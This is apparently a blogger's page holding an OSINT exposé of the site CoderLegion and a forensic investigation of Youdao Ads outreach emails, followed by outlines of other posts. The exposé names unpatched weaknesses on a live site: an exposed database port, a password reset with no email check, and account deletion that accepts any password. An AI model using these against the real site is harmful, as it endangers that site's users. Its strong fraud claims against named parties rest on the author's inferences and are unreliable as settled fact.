The database — port 3306, MariaDB — is observable from the public internet.

I'll leave it at that.

If you're a developer, you know exactly what that means for user payment data.

If you're not: a properly secured server keeps its database accessible only to itself. Not to the public internet.

How it should be:
Database → localhost only ✅

What a developer paying attention might notice:
Database → publicly observable 🌍

The information is verifiable by anyone with standard tooling.

If you have entered payment information on CoderLegion, you should be aware of this.

The Authentication

The "Forgot Password" flow does not send a verification email.

It accepts a new password directly — without confirming ownership of the account through email verification.

The "Delete Account" page accepts any non-empty string in the password field. It does not validate against your actual account password.

Both were discovered during normal usage of my own account.

The Full Picture

┌─────────────────────────────────────────────┐
│         CoderLegion: Claimed vs. Real        │
├─────────────────────┬───────────────────────┤
│ Founded             │ 2020 → 2023 actual     │
│ Users               │ 4,065 → ~1,200 actual  │
│ Active writers/mo   │ Unstated → ~37 actual  │
│ Ads                 │ "None" → AdSense active │
│ Platform            │ Custom → Free Q2A script│
│ Hosting cost        │ Unstated → ~$5/month    │
│ Premium price       │ $10/month               │
│ Domain renewal      │ clientRenewProhibited ⚠️│
│ Predecessor domain  │ kodlogs.net → expired   │
│ DB security         │ Unstated → publicly     │
│                     │ observable              │
└─────────────────────┴───────────────────────┘

"There Is No Peter Jones"

Before this analysis, I received an email from
Peter Jones <peter.jones@legioncoder.com>:

"Your recent post 'You Don't Need Chaos Monkey' on Hashnode really caught my attention... I'd love to feature you as a guest author on CoderLegion.com."

The email addressed me as "Rockman."

My name is FreeRave.

Others across the internet have reported receiving identical outreach emails — same wording, different sender names: "Ross," "Peter Jones," and others. All from @legioncoder.com addresses. All with the same template. Some with different names in the greeting.

This is a bulk outreach operation with mail merge errors.

There is no Peter Jones.
There is no editorial team reading your Hashnode posts.
There is a template, a mailing list, and occasionally the wrong name in the salutation.

UPDATE — May 3, 2026: The Site Went Down

Shortly after this analysis was completed:

ERR_CONNECTION_TIMED_OUT
coderlegion.com took too long to respond.

The site remained accessible from mobile networks — confirming a targeted IP block, not a server failure.

Mobile access continued showing ads, including the MetroOpinion survey ad.

And then — while blocked — I received the weekly CoderLegion newsletter:

"Hi FreeRave, Your profile is ready to grow!"

Account status:  Deleted ✅
IP status:       Blocked ✅
Newsletter:      Still arriving 📧
Points:          835 — gone
Email list:      Apparently permanent

What You Should Do Right Now

Free account:
Export all your content immediately. Go to your posts and copy everything. The domain situation makes July continuity uncertain.

Premium account:
You paid $10/month for increased visibility among ~37 active writers on a platform with uncertain domain continuity. If you believe the service was misrepresented, contact your card provider.

Considering joining:
You now have the information. The decision is yours.

How Any Developer Can Verify This

Every finding here came from publicly available information:

# Domain age, status, and expiry
$ whois coderlegion.com
$ whois kodlogs.net

# Server software
$ curl -I https://coderlegion.com

# Source code — press Ctrl+U in any browser
# Search for: adsbygoogle, qa-theme, dateCreated

# User count math
# Visit /users, find the last page number
# Multiply by 30

Before paying for any platform, spend 10 minutes on these checks.

Conclusion

Building a developer community from scratch is genuinely hard.
One person doing it alone deserves credit for trying.

But none of that justifies:

Claiming a founding date 3 years before the domain existed
Running Google AdSense while explicitly stating you don't run ads
Displaying user counts 70% higher than the database supports
Charging $10/month for access to ~37 active writers
Operating with both domains blocked from renewal
Running bulk outreach campaigns with mail merge errors
Blocking IPs rather than responding to documented findings

Developers deserve accurate information about the platforms they invest their time, content, and money in.

This article exists because they weren't getting it.

All findings are based exclusively on public record data: WHOIS lookups, HTML source code, HTTP headers, pagination mathematics, and normal account usage. No unauthorized access was performed or implied.

Have you received an email from "Peter Jones"? What name did they use? Share below.

Related:

PART 2: I Published a Scam Expose. NetEase Sent a Takedown Request. Then They Rewrote Their Entire Operation.

freerave — Wed, 29 Apr 2026 13:04:12 +0000

18 days after exposing Youdao Ads, they sent a takedown request, their trust score dropped from 28.8 to 15, their dead site came back to life, and they rewrote their entire outreach from scratch. A full forensic timeline with SSL certs, WHOIS data, DNS chains, and the email that proves everything.

📌 This is Part 2 of an ongoing investigation.
Part 1: EXPOSED: The Youdao Ads Influencer Marketing Scam — Technical Analysis & Red Flags

I want to be upfront about something before we start.

When I published Part 1, I called this operation a scam. After 18 days of forensic follow-up, the picture is more complex — and significantly more interesting.

This is not a retraction. This is an upgrade.

The 18-Day Timeline That Changes Everything

Apr  5, 2026  → SSL certificate issued for infunease.youdaoads.com
Apr 11, 2026  → Mass cold outreach emails sent (anjiaqi06@corp.netease.com)
               → infunease.youdaoads.com returns 403 Forbidden
               → Scam Detector score: 28.8/100
               → Article published

Apr 14, 2026  → WHOIS record updated (3 days post-article)

Apr 28, 2026  → Takedown email received (youdaoads@rd.netease.com)
               → Public comment posted on my article (@YoudaoAds on dev.to)
               → infunease.youdaoads.com returns 200 OK (same day)
               → Scam Detector score drops further: 15/100
               → No documentation provided despite formal request

Apr 29, 2026  → NEW email arrives (tangxi03@corp.netease.com)
               → Subject: "Official Collaboration Invite for Creators"
               → Professional NetEase 網易 branding
               → Zero emojis. Zero urgency. Zero WhatsApp spam.
               → Every single concern from my article — addressed.

That last entry. That's what this article is about.

Part 1 Recap: What I Found

On April 11, I received this email:

From: anjiaqi06@corp.netease.com
Subject: Don't scroll past 【Youdao Ads】– a paid collab 
         that's actually your vibe 😉

💰 Budget's ready – just name your rate
⏳ Spots are filling up – a few other creators in your 
   space are already looking at them

[Youdao Ads Link] [Discord] [WhatsApp]

Technical analysis showed:

$ curl -I https://infunease.youdaoads.com
HTTP/1.1 403 Forbidden
x-deny-reason: host_not_allowed
server: envoy

Third-party security score: 28.8/100 — "Risky. Dubious. Perilous."

The article went live. Google indexed it. Google AI started citing it.

Then came the reaction.

April 28: The Reaction

Exactly 17 days after publication, two messages arrived on the same day.

Message 1: The Takedown Email

From: youdaoads@rd.netease.com
Subject: Clarification regarding your recent article on Youdao Ads

The misunderstandings in your article are currently 
influencing Google's AI summaries, which is causing 
severe and unearned damage to our brand.

We kindly request that you consider removing the post.

Note the sender: rd.netease.com — NetEase's R&D subdomain.
The original email came from corp.netease.com — corporate division.

Two different NetEase subdomains. Never explained.

Message 2: The Public Comment

Simultaneously, a dev.to account named "Youdao Ads" commented directly on my article:

"We have thoroughly verified our domain and technical infrastructure. It is fully operational, passes mainstream security protocols, and is not being blocked by any standard security infrastructures. Any localized access issue may be due to temporary network configurations, not a systemic block."

April 28: The Infrastructure Comes Alive

On the exact same day as the takedown request:

# April 11 — time of original article
$ curl -I https://infunease.youdaoads.com
HTTP/1.1 403 Forbidden
x-deny-reason: host_not_allowed
server: envoy

# April 28 — day of takedown request  
$ curl -I https://infunease.youdaoads.com
HTTP/2 200
server: YDWS
x-powered-by: Next.js
content-length: 374476
x-nextjs-cache: HIT
cache-control: s-maxage=31536000, stale-while-revalidate
etag: "rcngvqns1y801t"

A full Next.js production deployment. Live. Professional.

On the same day they asked me to remove my article.

The SSL Certificate: Timing Is Evidence

$ echo | openssl s_client \
  -servername infunease.youdaoads.com \
  -connect infunease.youdaoads.com:443 2>/dev/null \
  | openssl x509 -noout -dates

notBefore=Apr  5 00:00:00 2026 GMT
notAfter=Jul  4 23:59:59 2026 GMT

Certificate issued: April 5 — 6 days before the mass email campaign.
90-day certificate — short-term, automated issuance.

The infrastructure was being built in the week before the emails went out.

WHOIS: The Record That Updated After My Article

$ whois youdaoads.com

Domain Name:     YOUDAOADS.COM
Creation Date:   2021-05-25T11:15:53Z   ← 5 years old
Updated Date:    2026-04-14T05:35:38Z   ← 3 days after my article
Registrar:       Alibaba Cloud Computing (Beijing) Co., Ltd.
Registrant:      bei jing, CN
Name Servers:    REM1.YODAO.COM
                 REM2.YODAO.COM  
                 REM3.YODAO.COM
DNSSEC:          unsigned

The domain is legitimate and 5 years old.

But the record was updated April 14 — 3 days after the article.

$ whois infunease.youdaoads.com
No match for "INFUNEASE.YOUDAOADS.COM".

The subdomain returns no WHOIS data at all.

DNS Chain: Following the Infrastructure

$ dig infunease.youdaoads.com +short

youdaoads.youdao.com.
ead.alb.ntes53.netease.com.
hk-g1-hz.alb.ntes53.netease.com.
156.225.180.151
156.225.180.152

Full resolution chain:

infunease.youdaoads.com
        ↓ CNAME
youdaoads.youdao.com
        ↓ CNAME
ead.alb.ntes53.netease.com      ← NetEase Load Balancer
        ↓ CNAME
hk-g1-hz.alb.ntes53.netease.com ← Hong Kong Cluster
        ↓ A Records
156.225.180.151
156.225.180.152

$ whois 156.225.180.151

inetnum:   156.225.180.0 - 156.225.180.255
netname:   HongKong_NetEase_Interactive_Entertainment_Limited
descr:     HongKong NetEase Interactive Entertainment Limited
country:   HK

This is 100% genuine NetEase infrastructure.
Hong Kong datacenter. Enterprise load balancers. The real thing.

The Trust Scores: Watching the Algorithm React in Real-Time

This is perhaps the most fascinating part of the investigation. Watch how the independent automated trust score (Scam Detector) reacted to their infrastructure changes:

April 11: Score 28.8 / 100. (The site is returning 403 Forbidden).
April 28 (Morning): Score drops to 15 / 100. (Community starts flagging the emails).
April 28 (Evening): I receive the takedown request. The site goes live (200 OK).
April 29 (Today): Score jumps to 60.8 / 100. (Active. Medium-Risk).

Why the sudden jump? Because automated security scanners rely heavily on HTTP responses. When the site was a dead 403 Forbidden sending mass cold emails, it looked like a classic hit-and-run scam.

The moment they deployed their Next.js application (to prove they are legitimate after my article exposed them), the scanners re-evaluated them as an "Active" website and bumped their score.

The takeaway for the infosec community:
Trust scores don't measure operational ethics; they measure infrastructure configuration. They didn't become a "better" company overnight — they just finally turned their servers on because they were forced to.

⚠️ UPDATE — April 29, 2026: The Trust Score Discrepancy

ScamAdviser now shows the root domain (youdaoads.com) as "Very Likely Safe" with a score of 100/100.

However, context is everything in OSINT:

The evaluation says: "Last Update: 3 weeks ago" (This is an old scan of the root domain, conducted well before the mass outreach campaign).

The Business Model: Unlike fully independent scanners, ScamAdviser offers paid "Business Plans" that allow companies to actively manage their trust profiles and dispute negative signals.

Two platforms. Same domain.
Scam Detector (Strictly community & algorithm-driven): 15/100 — "Risky. Dubious. Perilous."
ScamAdviser (Commercial platform offering reputation management): 100/100 — "Very Likely Safe."

Moral of the story: A 100/100 automated score on a 5-year-old root domain doesn't legitimize the shady tactics of a 3-week-old subdomain.

Draw your own conclusions.

The Network Analysis: You're Being Watched

Opening DevTools on the login page:

Visit 1: 16 Requests

16 / 24 requests
POST → https://k.clarity.ms/collect
Status: 204 No Content
Host: k.clarity.ms
Origin: https://infunease.youdaoads.com

After a Few Minutes of Analysis: 47 Requests

47 / 63 requests
62.5 kB / 63.5 kB transferred
Server: YDWS

Every action generated a Clarity batch:

✓ Page load
✓ Mouse movement  
✓ DevTools opened
✓ Network tab clicked
✓ Header inspection
✓ Page scroll
✓ Every click

The Second Endpoint — Origin Revealed

Request URL: https://overseacdn.ydstatic.com/overseacdn/
             advertising_platform/static/intl/zh-CN.json
             ?v=2760e8bced

Remote Address:  23.48.214.94:443
Server:          YDWS
Last-Modified:   Fri, 24 Apr 2026 06:28:08 GMT
Content-Type:    application/json
Akamai-Mon-lucid-Del: 1273563

overseacdn.ydstatic.com — Youdao Static CDN.
zh-CN.json — Chinese Simplified localization file.

This platform was built for the Chinese market and localized outward.

The Akamai headers confirm enterprise-grade CDN infrastructure — not a small operation.

What Their Clarity Dashboard Saw

While I was analyzing their headers, their session recording showed:

📍 Location:   Egypt 🇪🇬
🖥️  Browser:   Chromium 147
⏱️  Duration:  6+ minutes
🖱️  Behavior:  DevTools open
                Network tab active  
                63 requests triggered
                Headers under inspection

They were watching me watch them.

Important: Clarity masks passwords and email inputs automatically.
What it captures from page load — before any signup — is full behavioral profiling.

April 29: The Email That Proves Everything

One day after the takedown request. One day after the site went live.

A third email arrived.

From: tangxi03@corp.netease.com
Subject: Official Collaboration Invite for Creators | 
         Youdao Ads by NetEase Youdao
Date: Apr 29, 2026, 6:01 AM
mailed-by:  corp.netease.com
signed-by:  corp.netease.com
⭐ Important according to Google

The body:

This email is from Youdao Ads — the official influencer 
marketing platform of NetEase Youdao, a subsidiary of 
the leading global technology and entertainment company 
NetEase.

Why partner with Youdao Ads?
▸ Exclusive opportunities with top global brands
▸ Guaranteed paid campaigns with transparent pricing, 
  no upfront fees, and on-time secure payments
▸ Full dedicated support through every step of your 
  collaboration, from onboarding to payment settlement

Please note that this is an automated notification 
email, and we are unable to respond to direct replies.

Best regards,
Youdao Ads
[NetEase 網易 | youdao Ads logo]
Global leading influencer marketing platform

The Before & After: My Article Changed Their Outreach

This is the most significant finding in this entire investigation.

April 11 Email (Before Article):

❌ Subject: "Don't scroll past – a paid collab that's 
            actually your vibe 😉"
❌ Emoji-heavy, casual, unprofessional
❌ "Budget's ready – just name your rate"
❌ "Spots are filling up" (artificial urgency)
❌ WhatsApp group links
❌ Discord community invites
❌ Zero company branding
❌ Generic "your vibe" personalization
❌ Contact: WhatsApp only

April 29 Email (After Article):

✅ Subject: "Official Collaboration Invite for Creators | 
            Youdao Ads by NetEase Youdao"
✅ Professional tone, zero emojis
✅ "No upfront fees" ← directly addresses concern I raised
✅ "No pressure to sign up immediately" ← addresses urgency concern
✅ "Transparent pricing" ← addresses opacity concern
✅ Official NetEase 網易 logo and branding
✅ "Official service mailbox: ydcommunity@service.netease.com"
✅ Zero WhatsApp group links
✅ Zero Discord spam
✅ Proper company identification from line 1

Every single red flag I documented in Part 1.
Addressed. One by one. In the next outreach email.

What This Means: The Definitive Analysis

After 18 days of forensic investigation, here is where the evidence leads:

What is confirmed:

The infrastructure is 100% genuine NetEase.
DNS chain, IP ownership, email authentication, CDN — all resolve to NetEase Hong Kong.

The domain is 5 years old.
youdaoads.com was registered May 2021. This is not a freshly created phishing domain.

LinkedIn confirms the entity.
Youdao Ads has a LinkedIn presence identifying as a NetEase Youdao subsidiary.

My article changed their behavior.
The before/after comparison of outreach emails is not coincidental. The timing, the specific changes, the direct addressing of documented concerns — this is a response to public scrutiny.

What remains unexplained:

Why was the site returning 403 during the email campaign?
You don't send mass creator outreach from a platform that returns Forbidden.

Why did the WHOIS record update 3 days after the article?
Domain records don't update themselves.

Why did the site go live on the same day as the takedown request?
Correlation is not causation. But this correlation is hard to ignore.

Why the subdomain switch?
corp.netease.com → rd.netease.com → back to corp.netease.com.
Three different senders. Never explained.

Why 15/100 on independent security vendors?
No documentation addressing this was ever provided despite formal request.

The most likely explanation:

This is a legitimate NetEase subsidiary operating with immature outreach practices — possibly a team that grew fast, prioritized reach over compliance, and got caught using spam-adjacent tactics that don't match the scale and legitimacy of their parent company.

My article forced an internal correction.

That's not a vindication. That's a more nuanced conclusion backed by evidence.

What I Requested — Still Open

On April 28, I formally requested via email and public comment:

Official business registration documents for Youdao Ads
NetEase Youdao's official PR statement authorizing the outreach campaign
Verified creator partnership examples with creator consent
Explanation of security vendor scores and remediation steps
Clarification on the use of multiple NetEase subdomains

As of publication: no documentation received.

The April 29 email did not address these requests.

This article will be updated prominently if documentation is provided.

For the Security Community: What This Case Teaches

1. Email Authentication ≠ Legitimacy

DKIM, SPF, DMARC all passed on the original email. The infrastructure was real.
Authentication tells you where an email came from.
It tells you nothing about intent or operational standards.

2. Infrastructure Legitimacy ≠ Operational Legitimacy

Real servers. Real domain. Real CDN. Real company.
None of this guarantees the outreach practices meet acceptable standards.

3. Public Scrutiny Works

A single technical article, published and indexed, changed the outreach behavior of a subsidiary of a billion-dollar company.

This is why security research and transparency matter.

4. Timeline Documentation Is Everything

Every data point in this investigation is timestamped and reproducible:

# Reproduce the DNS chain
$ dig infunease.youdaoads.com +short

# Reproduce the SSL timing
$ echo | openssl s_client -servername infunease.youdaoads.com \
  -connect infunease.youdaoads.com:443 2>/dev/null \
  | openssl x509 -noout -dates

# Reproduce the WHOIS
$ whois youdaoads.com

Any developer can verify these findings independently.

Conclusion: The Investigation Is Open, Not Closed

I published Part 1 calling this a scam. The full picture is more complex.

What I can say with confidence after 18 days:

The operation is real. NetEase infrastructure, 5-year-old domain, LinkedIn presence.

The original tactics were unacceptable. Emoji spam, artificial urgency, WhatsApp groups — regardless of the company behind it.

My article caused a documented change. The before/after email comparison is the clearest evidence of this.

Unanswered questions remain. The 403 timing, the WHOIS update, the subdomain switching, the trust scores.

I will continue monitoring. If documentation arrives, this gets updated publicly and prominently.

If you've interacted with Youdao Ads — as a creator, brand, or agency — your experience is relevant. Share it in the comments.

Resources

Security Analysis:

Reporting:

Anti-Phishing Working Group: reportphishing@apwg.org
Google Safe Browsing: safebrowsing.google.com/safebrowsing/report_phish/
NetEase Security: security@netease.com

Technical Verification:
All commands in this article are reproducible. Infrastructure data is public record.
WHOIS, DNS, SSL certificate dates — independently verifiable by anyone.

Part 1: EXPOSED: The Youdao Ads Influencer Marketing Scam

Have you received emails from Youdao Ads? Share your experience below.

All technical findings are based on public record data and standard OSINT methodology. Commands and outputs are included verbatim for independent verification.

DEV Community: freerave

I Built a Code Screenshot Tool Inside My VS Code Extension — Here's How It Works (DotShare v3.4.0)

The Problem: Code Screenshots in VS Code Are Painful

The Architecture Decision: Why HTML Canvas?

CodeSnapService: Reading the Editor

The Canvas Renderer

Step 1: Measure before you paint

Step 2: 2x resolution for Retina

Step 3: Syntax highlighting via HL.js

The Race Condition I Fixed

Offline-First: No CDN

The Result

Install DotShare

What's Next

DotShare 3.3: The Final 10% — Crashing the Rust Compiler and Fixing Silent Node.js Bugs (Part 4)

How we bridged the gap between a VS Code extension, a Next.js frontend, and a Rust Axum backend — and the bizarre bugs we fought along the way.

🐛 Bug #1 — The Silent fetch Body Corruption

The Setup

The Symptom

The Investigation

The Fix

💥 Bug #2 — We Crashed the Rust Compiler

The Setup

The Cause

The Fix

🗑️ Bug #3 — The "Success" That Wiped Everything

The Setup

The Investigation

The Fix

🔐 Bug #4 — Bridging OAuth Across Three Services

The Problem

The Architecture

Wrapping Up: The Bugs Live at the Seams

Securing DotShare 3.3: Inside the Rust Media API (Magic Bytes, Atomic Quotas, & Race Fixes) - Part 3

How we built a production-grade Cloudflare R2 upload pipeline in Rust — with layered security, an atomic quota system, and a zero-trust file validation strategy.

The Problem: File Uploads Are a Security Minefield

Layer 1: Authentication & Body Size at the Router

Layer 2: Magic Bytes Validation (Zero-Trust File Identity)

Layer 3: UUID-Based Storage Keys (Path Traversal Prevention)

Layer 4: Atomic Quota Enforcement (Closing the Race Condition)

Layer 5: The R2 Upload & Quota Rollback

The Complete Security Stack

Conclusion

Building DotShare 3.3: A Fail-Fast Rust Scheduler with Background OAuth Auto-Refresh (Part 2)

The Problem: Doomed Scheduled Posts

Architecture Decision: Strict Separation & Fail-Fast

Premium UX in VS Code (TypeScript)

The Next Boss: Background Token Auto-Refresh

Conclusion

Testing DotShare Cloudflare Image Upload

Testing Cloudflare R2 Integration

What are we testing?

Linus Torvalds Just Said What Everyone Was Thinking: AI Bug Spam Is Killing the Linux Kernel Security List

AI tools are flooding the Linux kernel's security mailing list with duplicate, low-quality bug reports. Linus Torvalds drew the line. Here's what actually happened, why it matters, and what real contribution looks like.

What Actually Happened

The New Rule: AI Bugs Go Public

The Real Problem: Nobody Read the Threat Model

Not Everyone Agrees With Torvalds (And That's Fine)

What This Looks Like From Outside the Kernel

The Contribution Discipline Problem

What the Right Process Actually Looks Like

The Broader Signal

The Bottom Line

TeamPCP Broke GitHub — And Nobody Saw It Coming (But They Should Have)

A deep technical breakdown of how TeamPCP / UNC6780 ran a 3-month supply chain campaign ending in GitHub's own internal breach. Timeline, attack anatomy, IOCs, and what every developer needs to lock down NOW.

Why I'm Writing This

The Actor: Who is TeamPCP / UNC6780?

The Full Timeline: 3 Months of Escalation

Attack Anatomy — How Each Wave Worked

Wave 1 (March): Trivy — The Credential Rotation Mistake

Wave 2 (Late March): LiteLLM — .pth Persistence

Wave 3 (March 27): Telnyx — WAV Steganography

Wave 4 (March 31): axios — 100 Million Weekly Downloads

Wave 5 (April 27): @bitwarden/cli — The Self-Propagating Twist

Wave 6 (May 11): TanStack — GitHub Actions Cache Poisoning

Wave 7 (May 18): Nx Console — The GitHub Kill Shot

The GitHub Breach: Post-Mortem

What Got Taken

What GitHub Did Right

What GitHub Did Wrong (Structurally)

🐛 Bug #1 — The Silent `fetch` Body Corruption